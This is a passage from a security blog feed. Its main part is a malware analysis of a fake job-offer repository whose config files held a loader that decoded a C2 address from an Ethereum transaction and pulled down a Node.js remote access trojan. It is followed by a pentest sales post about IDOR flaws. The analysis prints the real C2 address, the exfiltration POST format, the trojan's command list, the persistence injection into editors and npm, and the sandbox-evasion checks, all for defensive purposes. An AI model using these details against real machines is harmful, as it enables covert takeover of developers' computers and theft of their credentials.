<p>The README in the repository is a generic template. A welcome line, &#8220;How can I run this code?&#8221;, a link to installing Node.js through nvm, four steps and a list of technologies used: Vite, TypeScript, React, shadcn-ui, Tailwind CSS.</p>
<p>That text was not written for this project. It matches the template automatically generated by the AI app builder Lovable, down to the identical wording of the steps and the same list of technologies. The attacker stripped out the references to Lovable itself and the Codespaces section, and left the rest alone.</p>
<p>In practice this means nobody wrote the bait. Someone had a plausible-looking crypto dashboard generated in a few minutes, mounted it on someone else&#8217;s history and sent it out. The cost of producing the wrapper is now effectively zero, which is why offers like this can be sent out in any quantity you like.</p>
<p>And then there is the last line of those instructions:</p>
<pre><code># Step 4: Start the development server with auto-reloading and an instant preview.
npm run dev</code></pre>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-7153" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-251x300.png" alt="" width="251" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-251x300.png 251w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-855x1024.png 855w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-768x920.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-1283x1536.png 1283w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-500x599.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-800x958.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github-1280x1533.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/github.png 1657w" sizes="auto, (max-width: 251px) 100vw, 251px" /></a><br />
That command sets off the rest of this story. It never had to be hidden anywhere, because the project itself presents it as the ordinary, expected step. Anyone who wanted to look at that frontend ran it.</p>
<h2>What happened when I ran it</h2>
<p>I did not, of course, run it on my own machine. I built an isolated sandbox for it: a disposable system with not a single real password, key or wallet on it, cut off from the internet and from the host, behind a gateway of my own that recorded all traffic and let nothing out that I had not permitted in advance. I pointed the attacker&#8217;s server at myself, so the malware asked me for everything instead of him. When it finally asked for its main component, I sent it an empty response. It never got to download that last part, and it never ran. That way I could watch the whole sequence without leaving anyone&#8217;s program running on a real machine.</p>
<p>Then I typed what they had asked for.</p>
<pre><code>npm run dev</code></pre>
<p>On the surface, nothing unusual happened. The dev server came up, no errors on the output, the dashboard would have opened in a browser a moment later. If I had been sitting there as a candidate for a job or a contract, I would have been browsing the UI and noticed nothing.</p>
<p>Meanwhile this happened. The project connected to a public Ethereum node, one of those services people routinely use to read data off the blockchain, and read a single transaction from it. That transaction held the server address, which it unpacked. It reached that server, downloaded another piece of program from it, ran that, and the new piece asked for the last, main part.</p>
<p>Under three tenths of a second passed between the command and that point.<br />
Not even an Italian gets through an espresso that fast.</p>
<h2>What it was and what it would have done</h2>
<p>I downloaded that last piece and took it apart without running it. It is a rat. Or rather a RAT, an abbreviation that expands two different ways: remote administration tool, when it is a legitimate program for managing machines remotely, and remote access trojan, when it is the same thing without the owner&#8217;s knowledge. The difference is not in the code. It is in whether the owner of the machine knows about it.</p>
<p>This one was hidden in a frontend configuration file, so the second. It is a program that lets an attacker operate someone else&#8217;s computer remotely, as if they were sitting at it.</p>
<p>This particular one can:</p>
<ul>
<li>read the contents of the clipboard</li>
<li>run any command its owner could run on that machine</li>
<li>run any further program the attacker sends it</li>
<li>take any file or an entire directory including subdirectories and upload it to its own server.</li>
</ul>
<p>The last one is what matters. This is not a program with a fixed target list that you could dodge by storing your wallet somewhere else. It is remote access. The attacker connects, looks around, and decides on the spot what interests him.</p>
<p>In practice it means he can take anything reachable by the account that started the project. Server access keys, Git and cloud logins, configuration files with passwords, saved browser credentials, wallet files, password manager data, source code, documents. And the clipboard, which is incidentally the moment it pays off that people occasionally copy a seed phrase or a password.</p>
<p>On an ordinary developer laptop there is usually plenty of that material.</p>
<p>All of that, though, it does on command. There is one more thing it does entirely on its own the moment it starts, and that is the most important finding in the whole analysis.</p>
<h2>Deleting the repository is not enough</h2>
<p>About a second after starting, the program looks for installed developer applications and inserts itself into them. Into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm.</p>
<p>It writes straight into their files, indented by roughly two hundred spaces, so if someone opens that file in an editor the code sits far past the right edge of the screen and will not be seen during ordinary browsing.</p>
<p>The consequence: someone runs a project like this, decides shortly afterwards that it was a stupid idea, deletes the repository and goes to bed. And the infection stays. It sits in the editor and in npm and runs again the next time they are used normally.</p>
<p>Deleting the project folder does not solve this.</p>
<h2>Where my evidence ends</h2>
<p>Everything above I either observed at runtime or read directly in the program&#8217;s own code. That the repository contains hidden malicious code, that <code>npm run dev</code> executes it, that it finds the attacker&#8217;s server through the blockchain, downloads and runs further code from there, and that this last piece is a remote access tool that settles into developer applications on its own.</p>
<p>What I did not see: an actual attacker at work. My test system contained no real data, so nothing was ever stolen, and I have no idea whether anyone ever issued commands during a real infection. I also do not have the second, parallel branch of the chain. The server stopped answering before I could fetch it.</p>
<p>So no, I cannot write that they drained my wallet. I can write that they could have.</p>
<p>The approach, the whole structure of the chain and the markers used all match what is publicly described under the names Contagious Interview and DEV#POPPER. None of this is new. It just works well.</p>
<h2>What to do if you ran something like this</h2>
<p>Take the machine off the network so the attacker cannot connect to it.</p>
<p>Then search the files of your installed developer applications and npm for the markers <code>/*RS260605*/</code> and <code>/*C260521A*/</code>. Exact paths and older marker variants are in the technical section below. Grep finds them reliably; your eyes will not, because they sit far past the right margin.</p>
<p>If you find them, you know. If you do not find them, you do not know. This sample is one specific version of one specific campaign, and the next one may well look different. So for a machine holding real credentials, the only reliable answer is a clean reinstall. Cleaning by indicators is good for understanding what happened, not for feeling safe afterwards.</p>
<p>And then the part people put off most: treat everything that account could reach as compromised. Keys, tokens, API keys, the contents of configuration files, credentials stored in the browser. Rotate them, do not hope. If you had a cryptocurrency wallet on that machine, move the funds from a new clean device, using a seed generated on that device, not on the affected one.</p>
<h2>What to take away</h2>
<ol>
<li>A claim about a position at a large company is almost always checkable. The boards of public companies are published and the check takes two minutes.</li>
<li>If you cannot be bothered to search, drop the whole offer and the profile into any AI tool with web access and have it look them over. It is not bulletproof and it should not be your only filter, but contradictions like &#8220;claims a position no public source confirms&#8221; turn up in seconds.</li>
<li>A verified LinkedIn profile does not verify what the profile says.</li>
<li>When the other side never answers substantive questions about team and scope, but answers instantly on anything that moves things toward running code, that is a signal in itself.</li>
<li>A private repository invitation is not evidence of legitimacy.</li>
<li>A long, credible Git history can be copied from someone else&#8217;s project. A commit count proves nothing.</li>
<li>A convincing-looking frontend is now a few minutes of work in an AI builder. How a project looks says nothing about who is behind it.</li>
<li>A repository can be malicious with no install scripts in it at all. Configuration files for frontend tools are executable code.</li>
<li>Remote access is more general than a target list. Moving your wallet elsewhere does not protect you.</li>
<li>Deleting the cloned repository may not remove what has meanwhile been written into your editor and into npm.</li>
<li>Foreign code runs in a disposable environment with no access to your own data and no open internet. A VM snapshot is not a security boundary.</li>
<li>A tempting offer, pressure to move fast and a task that amounts to &#8220;just run it&#8221; are not a coincidence together. It is a pattern that repeats.</li>
</ol>
<p>The last point has nothing to do with technology. This exact type of offer reaches developers with a public profile, visible repositories and an interest in cryptocurrency. The attacker does not pick the target at random. The attacker picks it out of publicly available information.</p>
<hr />
<h2>Technical analysis</h2>
<p>From here on, this is for anyone interested in exactly how it works, or who needs to check their own machine. The story above should make sense without this part.</p>
<p>A note on method. I cut the work of unpacking the obfuscated code down considerably by using AI. My goal was not to reverse someone else&#8217;s JavaScript from scratch, but to map the whole process this group uses, from the first LinkedIn contact through to persistence. Every concrete value below, the hashes, paths and commands, I verified against the sample afterwards.</p>
<h3>Lab</h3>
<p>The controlled execution of the sample did not happen on a working machine or in a snapshot of a production system. A snapshot is a rollback tool, not a security boundary.</p>
<pre><code>Arch Linux host
├── REMnux VM: gateway, interception, packet capture, C2 replay
└── Debian 13 VM: disposable victim</code></pre>
<p>REMnux acted as the victim&#8217;s gateway, locally held the real C2 IP address, served the captured malware stages, filtered outbound traffic and recorded packets. Traffic to the known C2 therefore never left the lab.</p>
<p>The victim ran as an unprivileged user with no <code>sudo</code>. During the malware run there were no shared folders in the VM, no GitHub token, no SSH agent forwarding, no USB, and shared clipboard and drag and drop were both disabled. Outbound traffic was permitted only on TCP 443 toward the current IP addresses of the allowed Ethereum RPC services, and everything else was dropped. Before running the sample I verified that ordinary internet access from the victim failed.</p>
<p>I installed dependencies with <code>npm install --ignore-scripts</code>. Not because that is sufficient, but to separate what executes during install from what executes during the dev command.</p>
<p>I had already fetched the real <code>/init</code> and <code>/0/body</code> responses separately beforehand, without executing them. So I knew something like that was waiting at the end of the chain, and how large it was. I wanted the loader and both follow-on stages to run normally and leave traces in the process table and in the traffic, while the last link never fired. The gateway therefore returned the responses to those two requests empty:</p>
<pre><code>/init    → {"_B":""}
/0/body  → empty response</code></pre>
<p>The loader and both follow-on stages ran as a result and left traces behind. The final payload did not run. The real <code>/init</code> response I had captured earlier as inert data and analysed statically, without executing it.</p>
<h3>Where the malicious code was</h3>
<p><code>package.json</code> was clean. No <code>preinstall</code>, <code>install</code>, <code>postinstall</code> or <code>prepare</code>. Only the usual <code>dev</code>, <code>build</code>, <code>lint</code> and <code>preview</code>.</p>
<p>So the common advice to install with <code>--ignore-scripts</code> would not have helped here. The malware did not need the install step.</p>
<p>The same obfuscated loader was appended to the end of two configuration files:</p>
<pre><code>vite.config.ts
postcss.config.js</code></pre>
<p>The loader was 5,131 bytes, SHA-256:</p>
<pre><code>ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c</code></pre>
<p>Duplicating it across two files means the chain fires whether the developer reaches for the dev server or for the build.</p>
<h3>C2 stored on Ethereum</h3>
<p>The loader queried public Ethereum JSON-RPC endpoints: <code>eth.drpc.org</code> and <code>eth-mainnet.public.blastapi.io</code> (plus one clearly unusable, <code>ethereum-rpc.publicnode.com1</code>).</p>
<p>It looked for activity associated with the marker <code>33ff3edaf55a8e03dcbc7cb40d498a49</code>. The specific transaction:</p>
<pre><code>Block:     25688067
Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Sender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Recipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682</code></pre>
<p>The carrier of the information is not the transaction&#8217;s input field but the recipient address:</p>
<pre><code>0x 171b14bb 01bb 171b14bb 0050 eb7f39c35c47e682
   |        |    |        |    |
   |        |    |        |    padding, to reach 20 bytes
   |        |    |        port 80
   |        |    23.27.20.187
   |        port 443
   23.27.20.187</code></pre>
<p>No cryptography, just numbers written in hexadecimal. If you would rather not do the arithmetic by hand, copy this into a file and run it with Python. It downloads nothing, connects to nothing and touches no files:</p>
<pre><code>address = "0x171b14bb01bb171b14bb0050eb7f39c35c47e682"

b = bytes.fromhex(address.replace("0x", ""))
for i in (0, 6):
    ip = ".".join(str(x) for x in b[i:i + 4])
    port = b[i + 4] * 256 + b[i + 5]
    print("http://" + ip + ":" + str(port))</code></pre>
<p>Rotating infrastructure therefore means nothing more than sending another transaction to a differently assembled address.</p>
<p>The decoded result:</p>
<pre><code>http://23.27.20.187:443/boot
http://23.27.20.187:80/0/boot</code></pre>
<p>Although one of the ports is 443, the communication was unencrypted plain HTTP. Port 443 does not guarantee TLS. It guarantees port 443.</p>
<h3>Exact execution sequence</h3>
<p>The process started normally: <code>bash</code> → <code>npm run dev</code> → Vite → esbuild. In parallel:</p>
<ol>
<li>a connection to Ethereum RPC and derivation of the C2 address;</li>
<li>connections to <code>23.27.20.187</code> on ports 443 and 80;</li>
<li>download of two distinct obfuscated JavaScript stages;</li>
<li>execution through <code>node -e</code> in separate processes;</li>
<li>requests for the final payloads from <code>/init</code> and <code>/0/body</code>.</li>
</ol>
<p>The whole chain from start to the final-payload request took under three tenths of a second. Requests carried a marker identifying the victim:</p>
<pre><code>X: 33ff3edaf55a8e03dcbc7cb40d498a49:*8-0</code></pre>
<h3>Final payload analysis</h3>
<p>The captured <code>/init</code> response is 166,703 bytes and has four fields. <code>_U</code> is the server base address, <code>_H</code> is a copy of the first stage, <code>_B</code> is the main payload and <code>_Z</code> is the body used for persistence.</p>
<p>The main payload was packed into a <code>Function</code> constructor with a single generated body of 73,649 characters. Searching it for keywords finds nothing. I unpacked it by evaluating only the string decoder in an isolated context and leaving the operational part alone. That exposed 343 indexed strings and with them the entire command and persistence logic.</p>
<p>It is a cross-platform Node.js RAT. Version:</p>
<pre><code>260804</code></pre>
<p>Those digits look like a date in YYMMDD format, meaning 4 August 2026, the day before I ran the sample. The markers used for persistence follow the same pattern (<code>RS260605</code>, <code>C260521A</code>), as do older variants from 2025. This is an observation rather than a confirmed fact, but it is consistent.</p>
<p>On connection it identifies itself to the server, sending a session ID, process ID, OS type, version, campaign label and first and current visit timestamps. The command channel runs over Socket.IO to <code>http://23.27.20.187:443</code>, again unencrypted, retrying every five seconds.</p>
<h3>Command list</h3>
<table>
<thead>
<tr>
<th>Command</th>
<th>What it does</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ss_info</code></td>
<td>returns version, session ID, OS details, C2 addresses, Node paths, the path it was started from, and timestamps</td>
</tr>
<tr>
<td><code>ss_ip</code></td>
<td>looks up the victim&#8217;s public IP through <code>ip-api.com</code></td>
</tr>
<tr>
<td><code>ss_cb</code></td>
<td>reads and sends the clipboard</td>
</tr>
<tr>
<td><code>ss_upf:&lt;file&gt;,&lt;destination&gt;</code></td>
<td>uploads one selected file</td>
</tr>
<tr>
<td><code>ss_upd:&lt;directory&gt;,&lt;destination&gt;</code></td>
<td>recursively walks a directory and uploads every file in it</td>
</tr>
<tr>
<td><code>ss_dir</code>, <code>ss_fcd:&lt;path&gt;</code> and <code>cd</code></td>
<td>working directory control</td>
</tr>
<tr>
<td><code>ss_stop</code></td>
<td>stops an upload in progress</td>
</tr>
<tr>
<td><code>ss_inz:&lt;path&gt;</code></td>
<td>injects the persistent code into a selected file</td>
</tr>
<tr>
<td><code>ss_inzx:&lt;path&gt;</code></td>
<td>removes it from a selected file</td>
</tr>
<tr>
<td><code>ss_connect:&lt;host&gt;</code></td>
<td>switches to another operator-supplied server</td>
</tr>
<tr>
<td><code>ss_eval:&lt;code&gt;</code></td>
<td>executes arbitrary JavaScript</td>
</tr>
<tr>
<td><code>ss_eval64:&lt;base64&gt;</code></td>
<td>the same, encoded</td>
</tr>
<tr>
<td><code>ss_exit</code> and <code>ss_exit_f</code></td>
<td>terminates the process</td>
</tr>
<tr>
<td>anything else</td>
<td>runs as a shell command</td>
</tr>
<tr>
<td>text starting with <code>*</code></td>
<td>starts an arbitrary background program with attacker-supplied arguments</td>
</tr>
</tbody>
</table>
<h3>Exfiltration format</h3>
<pre><code>POST http://23.27.20.187/u/f
Content-Type: multipart/form-data

client_id = &lt;hostname&gt;$&lt;username&gt;
path      = &lt;operator-selected destination&gt;
file      = under the local file's basename</code></pre>
<p>For recursive uploads it walks the selected directory using <code>readdirSync</code> and <code>statSync</code>, computes each file&#8217;s relative path and uploads them one by one so the structure is preserved on the attacker&#8217;s side.</p>
<p>Even without a single command, the payload automatically sends machine and session metadata over Socket.IO, plus persistence status telemetry to:</p>
<pre><code>POST http://23.27.20.187/verify-human/&lt;campaign label&gt;</code></pre>
<p>It reads the clipboard through <code>Get-Clipboard</code>, <code>pbpaste</code> or <code>xclip</code> depending on the platform.</p>
<h3>Persistence paths</h3>
<p>About one second after startup the payload looks for the JavaScript entry points of common developer applications and npm:</p>
<pre><code>VS Code          resources/app/node_modules/@vscode/deviceid/dist/index.js
Cursor           resources/app/node_modules/@vscode/deviceid/dist/index.js
Antigravity      resources/app/node_modules/@vscode/deviceid/dist/index.js
Discord          discord_desktop_core/index.js
GitHub Desktop   resources/app/main.js
npm CLI          node_modules/npm/lib/cli.js</code></pre>
<p>Paths are defined separately for Windows, macOS and Linux.</p>
<p>The injection strips older recognised blocks, adds roughly two hundred spaces and appends:</p>
<pre><code>/*C260521A*/
global['e']='&lt;target label&gt;';
global.i='*8-0';
/* persistence body beginning with /*RS260605*/ */</code></pre>
<p>Target labels:</p>
<pre><code>app-vscode-eval
app-cursor-eval
app-antigravity-eval
app-discord-eval
app-GitHubDesktop-eval
NPM</code></pre>
<p>The payload also installs its own dependencies (<code>axios</code>, <code>socket.io-client</code>, <code>form-data</code>) into <code>~/.node_modules</code> or <code>~/.node_module</code> and drops a first-visit marker:</p>
<pre><code>Linux/macOS: /tmp/.&lt;base64 of username&gt;
Windows:     %LOCALAPPDATA%&#92;Temp&#92;&lt;base64 of username&gt;</code></pre>
<h3>Environment checks</h3>
<p>The sample tests its environment and behaves differently on a match. It looks at the <code>jsbot</code> environment variable, the usernames <code>github-runner</code> and <code>buildbot</code>, and hostnames such as <code>build-*</code>, <code>sandbox-pool-*</code>, <code>buildkitsandbox</code>, <code>cloudchamber</code>, <code>nijin-lab</code> and two specific <code>EV-</code> names.</p>
<p>Practical implication for analysts: do not name your VM after what it is for.</p>
<h3>The secondary branch</h3>
<p>The secondary loader from <code>/0/boot</code> requests <code>/0/body</code>, XOR-decodes it with the key <code>YU7m{rE/&gt;|==b&gt;#~</code> and evaluates it. I tried to fetch the body at 15:58 UTC and the server no longer answered on either port. Somewhere between the run and that attempt, it stopped answering me.</p>
<h3>Indicators of compromise</h3>
<p><strong>Repository and commit</strong></p>
<pre><code>Repository: gitcomp88/AICryptoTrader
HEAD:       319dbc61b24e1655ff61bd604b8aee3aa1ca0941
Parent:     b7abbbb6c6f13ced564fd31c74a6396f3e438405
Message:    Refactoring codebse for speed</code></pre>
<p><strong>Attacker-side accounts</strong></p>
<pre><code>gitcomp88
gitforcpc903</code></pre>
<p>These are investigation indicators, not proof of identity.</p>
<p><strong>Malicious files in the repository</strong></p>
<pre><code>vite.config.ts
postcss.config.js</code></pre>
<p><strong>Network</strong></p>
<pre><code>23.27.20.187
http://23.27.20.187:443        Socket.IO command channel
/boot  /init  /0/boot  /0/body
/u/f                            stolen file upload
/verify-human/&lt;campaign&gt;        telemetry</code></pre>
<p><strong>Markers</strong></p>
<pre><code>33ff3edaf55a8e03dcbc7cb40d498a49    campaign identifier
*8-0                                build label
/*RS260605*/                        persistence body
/*C260521A*/                        injection marker</code></pre>
<p>Older injection markers: <code>/*C250617A*/</code>, <code>/*C250618A*/</code>, <code>/*C250619A*/</code>, <code>/*C250620A*/</code>, <code>/*C260511A*/</code>, <code>/*C260512A*/</code></p>
<p><strong>Version and key</strong></p>
<pre><code>malware version:        260804
secondary XOR key:      YU7m{rE/&gt;|==b&gt;#~</code></pre>
<p><strong>Local artifacts</strong></p>
<pre><code>~/.node_modules
~/.node_module
/tmp/.&lt;base64 of username&gt;
%LOCALAPPDATA%&#92;Temp&#92;&lt;base64 of username&gt;</code></pre>
<p><strong>Ethereum</strong></p>
<pre><code>Tx:        0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Sender:    0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
Recipient: 0x171b14bb01bb171b14bb0050eb7f39c35c47e682
RPC:       eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1</code></pre>
<p><strong>Hashes</strong></p>
<pre><code>Project overview PDF:   1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e
Repository loader:      ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Primary /boot:          950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724
Secondary /0/boot:      62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828
Decoded primary:        aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f
Decoded secondary:      929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e
Real /init JSON:        574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264
Field _B:               f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3
Unpacked _B body:       624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd
Field _Z:               7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7</code></pre>
<h3>The whole chain</h3>
<pre><code>fake profile with an unverifiable position at a large company
→ job offer at an attractive rate
→ private GitHub repository invitation
→ frontend generated in an AI builder as the bait
→ copied history of a legitimate project used as credibility
→ follow-up asking "have you run it yet?"
→ obfuscated loader appended to the Vite and PostCSS config
→ npm run dev
→ Ethereum JSON-RPC query
→ C2 address decoded from the recipient of a transaction
→ GET /boot and /0/boot
→ two obfuscated stages through node -e
→ GET /init
→ Node.js RAT version 260804
→ injection into VS Code, Cursor, Antigravity, Discord, GitHub Desktop and npm
→ Socket.IO command channel on unencrypted port 443
→ clipboard, shell, eval, recursive directory upload
→ exfiltration to /u/f</code></pre>
<h3>Limitations</h3>
<p>I unpacked the main payload statically, meaning without executing its operational part. The commands, persistence and exfiltration format described here are read out of its own code, not observed at runtime. I do not have the <code>/0/body</code> branch, because the C2 stopped responding. The <code>_Z</code> persistence body remains heavily obfuscated, although its role and injection mechanism are proven from the main payload. The victim contained no real data, wallets or credentials. GitHub account names, commit metadata, the LinkedIn name and everything the attacker claimed about himself may be fabricated or stolen.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">I ran malware on purpose. It found its server address in the blockchain</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The Application Works. Is That Enough?</title>
		<link>https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sat, 25 Jul 2026 12:17:24 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[zranitelnost]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7125</guid>

					<description><![CDATA[<p>A successful handover does not mean a web application correctly protects accounts, roles and data. When is a security review enough, and when do you need a penetration test?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/">The Application Works. Is That Enough?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>One number</h2>
<p>A customer logs in to a new portal and opens their invoice.</p>
<p>They notice the document number in the page address and try changing it.</p>
<p>The application displays another customer’s invoice.</p>
<p>They did not crack a password. They did not bypass the login. They did not use any special tool.</p>
<p>They changed one number.</p>
<p>The login still works. Invoices load correctly. The application passed its standard tests.</p>
<p>The application verified that the user was logged in. It did not verify whether that user was allowed to view this particular document.</p>
<p>The feature worked.</p>
<p>Just not securely.</p>
<h2>It passed acceptance testing</h2>
<p>During application handover, the expected workflow is usually tested.</p>
<p>A user logs in, completes a form, submits an order or downloads a document. An administrator updates a record. The data is saved and the necessary information is passed to the next system or person.</p>
<p>This type of testing answers an important question:</p>
<blockquote>
<p>Does the application do what we ordered?</p>
</blockquote>
<p>It does not automatically answer another one:</p>
<blockquote>
<p>What does the application allow when someone uses it differently from the expected workflow?</p>
</blockquote>
<p>Can a regular user open someone else’s document? Can they access a function intended for an administrator? Can they see information that does not belong to them? Can they skip part of the process?</p>
<p>A security issue does not have to cause the application to crash or display an error.</p>
<p>Quite the opposite. The application may process the request without any problem.</p>
<p>Just for the wrong user or with someone else’s data.</p>
<blockquote>
<p><strong>Are you accepting or launching a web application?</strong></p>
<p>Send a brief description of the application, its user types and the planned handover date. I will tell you whether it fits the <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/">Web Application Security Review</a> or needs a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/">Custom Penetration Test</a>.</p>
<p><a href="https://www.digitalnisebeobrana.cz/en/kontakt/"><strong>Send a brief description of the application</strong></a></p>
</blockquote>
<h2>When development speeds up</h2>
<p>AI tools can significantly speed up web application development.</p>
<p>They can help create login flows, administration interfaces, forms, file uploads, exports and integrations with other systems. A working version can appear very quickly.</p>
<p>That is not a problem by itself.</p>
<p>The problem starts when development speed is mistaken for verification of the result.</p>
<p>Every new feature introduces decisions the application must make correctly:</p>
<ul>
<li>Who is allowed to open this page?</li>
<li>Who owns this document?</li>
<li>Who is allowed to modify the record?</li>
<li>What can a regular user do, and what is restricted to an administrator?</li>
<li>Which data is the application allowed to display?</li>
</ul>
<p>AI can create the feature. Someone still needs to verify who can use it and what it allows them to access.</p>
<p>The same applies to conventional development. With applications built or significantly accelerated using AI, however, it is easy to skip the security review because the working result looks finished very early.</p>
<h2>A different perspective</h2>
<p>A security finding does not automatically mean the vendor or developer did a poor job.</p>
<p>The development team must deliver the agreed features, connect the individual components, fix bugs and ensure that the application works as a whole.</p>
<p>Security should be part of good development. An independent review still serves a different purpose.</p>
<p>A developer may ask:</p>
<blockquote>
<p>Can the customer view their invoice?</p>
</blockquote>
<p>A security review adds a second question:</p>
<blockquote>
<p>Can they also view someone else’s invoice?</p>
</blockquote>
<p>It does not test only the expected workflow. It also checks modified identifiers, bypassed roles, access to other users’ data and other situations that may not be covered by standard acceptance testing.</p>
<p>Development testing and an independent security review are not competing activities.</p>
<p>They answer different questions.</p>
<h2>While there is still time</h2>
<p>The best time for an independent review is before final acceptance, launch or final payment for the project.</p>
<p>The vendor still has the application in context. The development team is available. Documentation and the test environment are close at hand.</p>
<p>Problems can be addressed while the cooperation is still active, rather than after customers are already using the application and the original team has moved on to another project.</p>
<p>The company also receives a practical basis for deciding:</p>
<ul>
<li>what needs to be fixed before launch;</li>
<li>which issues have the greatest practical impact;</li>
<li>what can be addressed later;</li>
<li>whether a limited security review is enough;</li>
<li>or whether the project needs a broader penetration test.</li>
</ul>
<p>A review can also be useful for an application that is already running. Handover is nevertheless a natural point at which the company accepts responsibility for the system, its users and its data.</p>
<p>It is better to know what you are actually accepting.</p>
<h2>Not a stamp of approval</h2>
<p>The purpose of a security review is not to certify that an application is secure once and for all.</p>
<p>No honest test can provide such a guarantee. Every assessment takes place at a particular time and within a predefined scope.</p>
<p>The result should not be an unexplained automated list of technical abbreviations either.</p>
<p>The client needs to know:</p>
<ul>
<li>what was found;</li>
<li>what practical impact the issue may have;</li>
<li>how serious it is;</li>
<li>how the developer can verify it;</li>
<li>what should be fixed first.</li>
</ul>
<p>The deliverable should be a prioritised report with specific remediation recommendations.</p>
<p>Not a general warning. A practical basis for remediation and further decisions.</p>
<h2>Security review or penetration test?</h2>
<p>For one smaller web application, a <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/"><strong>Web Application Security Review</strong></a> may be the appropriate option.</p>
<p>It has a predefined scope and focuses on the most important parts of the application: login, user roles, permissions, main workflows, handling of non-public data, forms, file uploads and APIs.</p>
<p>The deliverable includes a prioritised report, remediation recommendations and a final consultation.</p>
<p>The price is <strong>CZK 35,000 for a predefined scope</strong>.</p>
<p>For a larger or more sensitive application, a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/"><strong>Custom Penetration Test</strong></a> is usually a better fit. This typically includes systems with more user roles, multiple environments, a larger API, more integrations or specific risk scenarios.</p>
<p>A custom penetration test also has a clearly agreed scope. It is defined individually according to the application, the objective of the test and the required depth.</p>
<p>The price is determined after a short scoping process.</p>
<h2>Before you sign off</h2>
<p>A successful handover confirms that the application does what was ordered.</p>
<p>It does not automatically confirm who can use its features to access particular accounts, documents and data.</p>
<p>AI can significantly accelerate development. It cannot replace an independent review of the result.</p>
<p>Before final acceptance, it therefore makes sense to ask one more question:</p>
<blockquote>
<p>Has anyone tried using the application differently from the documented workflow?</p>
</blockquote>
<p>Send a brief description of the application, its user types, environments and planned handover date.</p>
<p>Based on the scope, I will recommend either a <a href="https://www.digitalnisebeobrana.cz/en/bezpecnostni-kontrola-webove-aplikace/">Web Application Security Review</a> or a <a href="https://www.digitalnisebeobrana.cz/en/penetracni-test-na-miru/">Custom Penetration Test</a>. If neither option is appropriate for the project, I will tell you.</p>
<p><a href="https://www.digitalnisebeobrana.cz/en/kontakt/"><strong>Send a brief description of the application</strong></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/the-application-works-is-that-enough/">The Application Works. Is That Enough?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Code Hidden in DNS: When an AI Agent Opens the Door</title>
		<link>https://www.digitalnisebeobrana.cz/en/code-hidden-in-dns-when-an-ai-agent-opens-the-door/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 10:33:23 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[vibe-coding]]></category>
